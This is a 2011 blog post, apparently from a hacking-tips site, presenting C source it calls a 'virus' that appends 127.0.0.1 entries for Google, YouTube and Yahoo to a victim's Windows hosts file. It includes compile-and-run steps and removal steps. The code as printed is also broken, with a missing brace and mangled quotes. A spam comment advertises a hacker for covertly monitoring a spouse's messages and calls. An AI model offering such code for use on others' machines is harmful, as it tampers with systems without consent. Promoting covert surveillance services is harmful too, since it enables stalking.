Wednesday, December 21, 2011

Prank your Friend: Block Websites on his PC

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will understand the working of virus. 
This virus need to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the OS. So once blocked, the site will not appear in any browser.
 
Here is the Source Code of the virus:-
 
#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
www.google.com”,
“youtube.com”,
www.youtube.com”,
“yahoo.com”,
www.yahoo.com
};
char ip[12]="127.0.0.1";
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
> Paste d Above Given Source Code in Notepad & Save it as "Website_Block.c"

> Compile above created source file using a C Compiler.

> Run the compiled module ie. the exe file obtained after compilation. It will block sites thats listed in source code.

> Once u run d file Website_Block.exe, restart ur browser.

> Then, type URL of blocked site & u’ll see browser showing "Page cannot displayed"
>> TO REMOVE THE VIRUS:
Type the following in the Run Dialog Box.

(Start -> Run)
%windir%\system32\drivers\etc

There, open the file named "hosts" using the notepad. At the bottom of the opened file you’ll see something like this
127.0.0.1 google.com

Delete all such entries which contain the names of blocked sites..

>> "LIKE" & "SHARE" this if you like this post <<

>> Comment your thoughts <<

3 comments:

Abhijeet said...

it is dangerious trick

Anonymous said...

im just asking would it be much better if we replace the victims's host file. :)

Helen Mary said...

I know of a very good hacker that can help you with any type of hacking, either phones or computers. My husband was so smooth at hiding his infidelity so I had no proof for months, I was referred to some hacker and decided to give him a try. the result was incredible because all my cheating husband's text messages, emails, Facebook, Whatsapp, Call logs, Viber, IG and even phone conversations was wired directly to my cellphone. David helped me put a round-the-clock monitoring on him and I got concrete evidence of his escapades.. if you think your spouse is an expert at hiding his cheating adventure, you can contact him too at (davhackwizard@gmail.com) +19123301683 or Tell him Helen referred you. God bless.

Post a Comment

 
Design by Secure Hackers